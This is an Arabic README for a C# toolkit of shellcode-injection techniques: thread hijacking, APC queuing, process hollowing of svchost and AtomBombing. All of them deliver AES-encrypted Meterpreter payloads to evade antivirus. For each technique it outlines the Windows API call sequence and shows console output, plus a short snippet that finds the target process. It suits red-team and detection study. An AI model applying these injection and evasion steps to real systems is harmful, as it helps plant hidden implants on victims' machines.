
تطبيقات بلغة C# لتقنيات حقن الشيلكود بما في ذلك الحقن الكلاسيكي، اختطاف الخيوط، تجويف العملية، وقصف الذرة، باستخدام حمولات Meterpreter المشفرة بـ AES لأغراض بحث التهرب من برامج مكافحة الفيروسات.
مجموعة من تقنيات حقن شيلكود بلغة C#. جميع التقنيات تستخدم حمولة متربريتر مشفرة بـ AES.
سأقوم ببناء هذا المشروع تدريجياً مع تعلمي أو اكتشافي أو تطويري لمزيد من التقنيات.
ملاحظة: المشروع ليس مخصصًا للاستخدام كما هو. إذا كنت ستستخدم أيًا من التقنيات، فمن الأفضل تجاوز برامج مكافحة الفيروسات إذا قمت بإنشاء مشروع أصغر ومخصص بالتقنية التي اخترتها.
إذا استخدمت أيًا من الأكواد في هذه المستودعات فليكن ذلك قانونيًا!
يمكنك استخدام تقنية حقن التجميع في PowerShell إذا كنت تريد تجنب كتابة ملفات .Net ثنائية على القرص.
ShellcodeRunner.cs: هذه التقنية ليست تقنية حقن بالمعنى الدقيق (لأننا ننفذ الشيلكود في نفس العملية) لكنها أبسط جميع التقنيات. نضمن أن الشيلكود يستخدم موقع ذاكرة ثابت في سياق unsafe. نغير الحماية على الصفحة حيث يوجد الشيلكود حتى نتمكن من تنفيذه. ثم نستخدم دالة مفوضة في C# لتنفيذ الشيلكود.
[+] باستخدام التقنية: ShellcodeInjectionTechniques.ShellcodeRunner
[+] VirtualProtect() - تم التعيين إلى PAGE_EXECUTE_READWRITE، عنوان الشيلكود: 0x20D000418E0
[+] جارٍ تنفيذ الشيلكود - عنوان الذاكرة: 0x20D000418E0
ClassicInjection.cs: تخصص هذه التقنية ذاكرة في العملية الهدف، وتحقق الشيلكود، وتبدأ سلسلة جديدة.
[+] تم العثور على العملية: 24484
[+] باستخدام التقنية: ShellcodeInjectionTechniques.ClassicInjection
[+] VirtualAllocEx()، تم التعيين: 0x23642220000
[+] WriteProcessMemory() - العنوان البعيد: 0x23642220000
[+] CreateRemoteThread() - معالج السلسلة: 0x380
ThreadHijack.cs: تختطف هذه التقنية سلسلة عن طريق حقن كود في العملية الهدف، وتعليق السلسلة المختطفة، وتعيين مؤشر التعليمات (RIP) إلى الكود المحقون، ثم استئناف السلسلة.
[+] تم العثور على العملية: 11508
[+] باستخدام التقنية: ShellcodeInjectionTechniques.ThreadHijack
[+] تم العثور على السلسلة: 9344
[+] OpenThread() - معالج السلسلة: 0x378
[+] VirtualAllocEx()، تم التعيين: 0x1D17AB80000
[+] WriteProcessMemory() - العنوان البعيد: 0x1D17AB80000
[+] SuspendThread() - معالج السلسلة: 0x378
[+] GetThreadContext() - معالج السلسلة: 0x378
[+] RIP هو: 0x7FFA77D21104
[+] SetThreadContext()، تم تعيين RIP: 0x1D17AB80000
[+] ResumeThread() - معالج السلسلة: 0x378
LocalThreadHijack.cs: تنشئ هذه التقنية سلسلة محلية جديدة في حالة معلقة، ثم نختطف السلسلة، ونعين مؤشر التعليمات (RIP) إلى الكود المحقون، ثم نستأنف السلسلة.
[+] باستخدام التقنية: ShellcodeInjectionTechniques.LocalThreadHijack
[+] CreateThread() - معالج السلسلة: 0x374
[+] VirtualProtect() - تم التعيين إلى PAGE_EXECUTE_READWRITE، عنوان الشيلكود: 0x270800418E0
[+] GetThreadContext() - معالج السلسلة: 0x374
[+] RIP هو: 0x7FFA79EE2630
[+] SetThreadContext()، تم تعيين RIP: 0x270800418E0
[+] ResumeThread() - معالج السلسلة: 0x374
APCInjection.cs: تشبه هذه التقنية تقنية اختطاف السلسلة. نقوم بحقن الشيلكود في سلسلة بعيدة، ثم نقوم بإدراج كائن APC في السلسلة. عندما تدخل السلسلة حالة قابلة للتنبيه (عند استدعاء SleepEx، SignalObjectAndWait، MsgWaitForMultipleObjectsEx، WaitForMultipleObjectsEx، أو WaitForSingleObjectEx) فإنها تشغل شيلكودنا المشار إليه بواسطة كائن APC المدرج.
[+] تم العثور على العملية: 25320
[+] باستخدام التقنية: ShellcodeInjectionTechniques.APCInjection
[+] تم العثور على السلسلة: 23796
[+] OpenThread() - معالج السلسلة: 0x378
[+] VirtualAllocEx()، تم التعيين: 0x24E064D0000
[+] WriteProcessMemory() - العنوان البعيد: 0x24E064D0000
[+] QueueUserAPC() - معالج السلسلة: 0x378
ProcessHollow.cs: تبدأ هذه التقنية عملية أخرى في حالة معلقة (svchost.exe)، وتجد نقطة الدخول الرئيسية للسلسلة، وتحقن شيلكودنا فيها ثم تستأنف السلسلة.
[+] باستخدام التقنية: ShellcodeInjectionTechniques.ProcessHollow
[+] CreateProcess(): C:\Windows\System32\svchost.exe
[+] المؤشر إلى ImageBase: 0xD31E956010
[+] ReadProcessMemory() - مؤشر قاعدة الصورة: 0xD31E956010
[+] ImageBase: 0x7FF6116C0000
[+] ReadProcessMemory() - قاعدة svchost: 0x7FF6116C0000
[+] EntryPoint: 0xD31E956010
[+] WriteProcessMemory(): 0x7FF6116C4E80
[+] ResumeThread() - معالج السلسلة: 0x454
InterProcessMappedView.cs: تنشئ هذه التقنية قسمًا جديدًا في الذاكرة، وتنشئ عرضًا معينًا محليًا للقسم، وتنسخ شيلكودنا في العرض المعين المحلي، وتنشئ عرضًا معينًا بعيدًا للعرض المعين المحلي في العملية الهدف. أخيرًا ننشئ سلسلة جديدة في العملية الهدف مع العرض المعين كنقطة دخول.
[+] تم العثور على العملية: 23740
[+] باستخدام التقنية: ShellcodeInjectionTechniques.InterProcessMappedView
[+] NtCreateSection() - معالج القسم: 0x37C
[+] NtMapViewOfSection() - العرض المحلي: 0x20CB8E40000
[+] جارٍ ترتيب الشيلكود
[+] NtMapViewOfSection() - العرض البعيد: 0x22D90310000
[+] RtlCreateUserThread() - معالج السلسلة: 0x384
AtomBomb.cs: هذه التقنية مثيرة للاهتمام في كيفية كتابة الشيلكود إلى العملية الهدف. نستخدم جدول الذرات العالمي الذي يسمح لنا بكتابة سلاسل منتهية بقيمة null بحجم أقصى 255 بايت. نجد كهف كود لكتابة الشيلكود فيه، ثم نستخدم استدعاءات APC لدفع العملية الهدف لقراءة أسماء الذرات في الذاكرة. أخيرًا نستخدم استدعاءات APC لتغيير حماية الذاكرة للهدف وتنفيذ الشيلكود.
الكود الخاص بي يختلف عن تقنية القصف الذري الأصلية، المكتوبة بلغة C/C++. أولاً، أقوم بتسلسل أسماء الذرات معًا، باستخدام عدة APCs، لتشكيل شيلكود أكبر من 255 بايت. لا أستخدم سلاسل ROP لإجبار العملية الهدف على استدعاء VirtualProtect ثم تنفيذ الكود، بل أستخدم قائمة انتظار APC.
يتطلب هذا الكود أن تدخل السلسلة الرئيسية حالة قابلة للتنبيه لتنفيذ قائمة انتظار APC، ولا أقوم بالتنظيف بعد تنفيذ الشيلكود، ونتيجة لذلك تصبح العملية الهدف غير مستقرة. أخطط لتحسين هذه التقنية (عن طريق البحث عن سلاسل قابلة للتنبيه والتنظيف بعد ذلك)، ولكن كإثبات للمفهوم فهي تعمل جيدًا.
[+] تم العثور على العملية: 14140
[+] باستخدام التقنية: ShellcodeInjectionTechniques.AtomBomb
[+] تم العثور على السلسلة: 5940
[+] OpenThread() - معالج السلسلة: 0xD0
[+] FindWritablePages() - عدد الصفحات التي تم العثور عليها: 2
[+] تم العثور على كهف كود مناسب - pWritable: 0x2CE60031
[+] GetProcAddress() - pGlobalGetAtomNameW: 0x7FFE20EB2680
[+] GlobalAddAtom() - ATOM: 0xC091
[+] NtQueueApcThread() - pWritable: 0x2CE60031
[+] GlobalAddAtom() - ATOM: 0xC06F
[+] NtQueueApcThread() - pWritable: 0x2CE600F9
[+] GlobalAddAtom() - ATOM: 0xC080
[+] NtQueueApcThread() - pWritable: 0x2CE601C1
[+] GlobalAddAtom() - ATOM: 0xC088
[+] NtQueueApcThread() - pWritable: 0x2CE60289
[+] GlobalAddAtom() - ATOM: 0xC084
[+] NtQueueApcThread() - pWritable: 0x2CE60351
[+] GetProcAddress() - pVirtualProtect: 0x7FFE20EBBC70
[+] NtQueueApcThread() PAGE_EXECUTE_READWRITE - codeCave: 0x2CE60031
[+] QueueUserAPC() - codeCave: 0x2CE60031
تقنية القصف الذري تضع سلاسل منتهية بقيمة null في جدول الذرات العالمي، وهذا يعني أنه يجب عليك استخدام شيلكود لا يحتوي على أحرف 0x00.
تذكر أنك ستحتاج إلى بدء عملية لحقنها، باستثناء عند استخدام مشغل الشيلكود، أو تقنية اختطاف السلسلة المحلية، أو تقنية إفراغ العملية (تبدأ هذه التقنية عملية جديدة في حالة معلقة).
[!] غير قادر على العثور على عملية للحقن!
عند استخدام مشغل الشيلكود، أو تقنية اختطاف السلسلة المحلية، أو تقنية إفراغ العملية، ستحتاج إلى التعليق على الكود في Program.cs الذي يبحث عن العملية للحقن:
/*
Process[] processes = Process.GetProcessesByName("notepad");
if(processes.Length == 0)
{
Debug("[!] غير قادر على العثور على عملية للحقن!");
return;
}
Debug("[+] تم العثور على العملية: {0}", new string[] { processes[0].Id.ToString() });
target = processes[0];
*/